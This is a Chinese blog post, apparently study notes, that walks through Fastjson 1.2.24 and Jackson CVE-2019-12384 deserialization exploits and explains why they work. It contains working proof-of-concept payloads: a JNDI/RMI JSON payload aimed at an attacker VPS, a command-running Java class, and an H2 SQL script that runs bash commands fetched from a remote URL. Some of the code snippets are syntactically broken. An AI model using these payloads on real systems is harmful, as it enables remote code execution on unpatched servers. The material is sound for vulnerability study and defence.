• [Todo]Fastjson/Jackson组件漏洞


    Fastjson

    漏洞线

    fastjson < 1.2.24 RCE 2017
    fastjson <=1.2.27 RCE 2019-7
    fastjson <1.2.60 拒绝服务 2019-9
    fastjson <=1.2.60 RCE 2019-9
    fastjson <1.2.69 反序列化远程代码执行 2020-6

    参考链接

    https://xz.aliyun.com/u/9272 //系列文章

    fastjson 1.2.24-RCE

    1.2.24及之前没有任何防御,并且autotype默认开启
    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
    复现 参考链接
    在自己的vps里开启rmi或者ldap服务,使用marshalsec快速开启rmi或ldap服务

    git clone https://github.com/mbechler/marshalsec
    mvn clean package -DskipTests //下载marshalsec,使用maven编译jar包
    

    安装完成好后,新建文件,复制代码,命名为TouchFile.java (注:红体就是要执行的命令,每次换命令,都要重新编译文件)

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
    static {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands = {"touch", "/tmp/success"};//执行命令处
    Process pc = rt.exec(commands);
    pc.waitFor();
    } catch (Exception e) {
    // do nothing}
    }
    }
    

    开启rmi或ldap服务 4444是上方服务的端口

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999
    

    POC:

    POST / HTTP/1.1
    Host: your-ip:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 160
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://vpsIP:9999/TouchFile",
            "autoCommit":true
        }
    }
    

    回显500

    监听返回连接

    Jackson

    CVE-2019-12384

    参考链接 FB 平安银行翻译
    原文doyinsec

    漏洞影响

    本次漏洞有比较鸡肋的地方,就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:

    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.8</version>
    </dependency>
    
    <!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
    <dependency>
        <groupId>ch.qos.logback</groupId>
        <artifactId>logback-core</artifactId>
        <version>1.3.0-alpha4</version>
    </dependency>
    
    <!--https://mvnrepository.com/artifact/com.h2database/h2 -->
    <dependency>
        <groupId>com.h2database</groupId>
        <artifactId>h2</artifactId>
        <version>1.4.199</version>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>com.h2database</groupId>
        <artifactId>h2</artifactId>
        <version>1.4.199</version>
        <scope>compile</scope>
    </dependency> 
    

    漏洞利用

    JackonSerial.java
    
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    import com.fasterxml.jackson.databind.SerializationFeature;
    
    import org.h2.Driver;
    
    public class JackonSerial {
    
        public static void main(String[] args) throws Exception {
    
            //一定要实例化Driver否则会报错
    
            Class.forName("org.h2.Driver").newInstance();
    
            System.out.println("Mapping");
    
            //该条payload用于SSRF的复现
    
            String jsonStr1 = "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://127.0.0.1:8005/~/test"}]";
    
            //该条payload用于RCE的复现
    
            String jsonStr2 = "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'"}]";
    
            ObjectMapper mapper = new ObjectMapper();
    
            mapper.enableDefaultTyping();
    
            mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
    
            System.out.println("Serializing");
    
            Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)
    
            System.out.println("objectified");
    
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
    
        }
    
    }
    
    inject.sql
    
    CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{
    
        String[] command = {"bash", "-c", cmd};
    
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
    
        return s.hasNext() ? s.next() : "";  }
    
    $$;
    
    CALL SHELLEXEC('open/Applications/Calculator.app/')
    

    漏洞原理分析
    Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用getConnection()方法的时候,就去再去调DriverManager从而去链接远程的数据库,这也就是造成SSRF的原因

    public Connection getConnection() throws SQLException {
    
        return this.getUser() == null ? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
    
    }
    

    RCE
    先介绍一下jdbc:h2:mem: 这种写法用于h2操作内存表,并且能在内存中执行sql语句,然后再通过RUNSCRIPT FROM 'http://localhost/inject.sql'来执行从远程获取的sql文件,当然此处改成直接执行本地语句造成命令执行也是可以的。

    因为这些执行都是在本地应该内存中的,而本地代码就是java,就是只需要在sql里面写一个java代码的函数,通过CALL来调用,变回造成java代码在本地应用执行从而造成RCE,RCE的关键调用栈如下:

    总结
    1、这个漏洞的利用有两个特别鸡肋的点:

    第一点, 它需要依赖两个jar才能造成rce漏洞;
    
    第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。
    
    2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。
  • 相关阅读:
    探讨变量的内存分配方式
    色彩之RGB和灰阶
    Perl语言:qw简写
    【转】位操作
    [转]Perl学习笔记
    Spaghetti code&Ravioli code&Lasagna code&Spaghetti with meatballs
    交叉编译lsusb
    GCC,LLVM,Clang编译器对比
    如何判断自己是否到了该辞职的时候
    Javascript Array和String的互转换。
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/13097795.html
Copyright © 2020-2023  润新知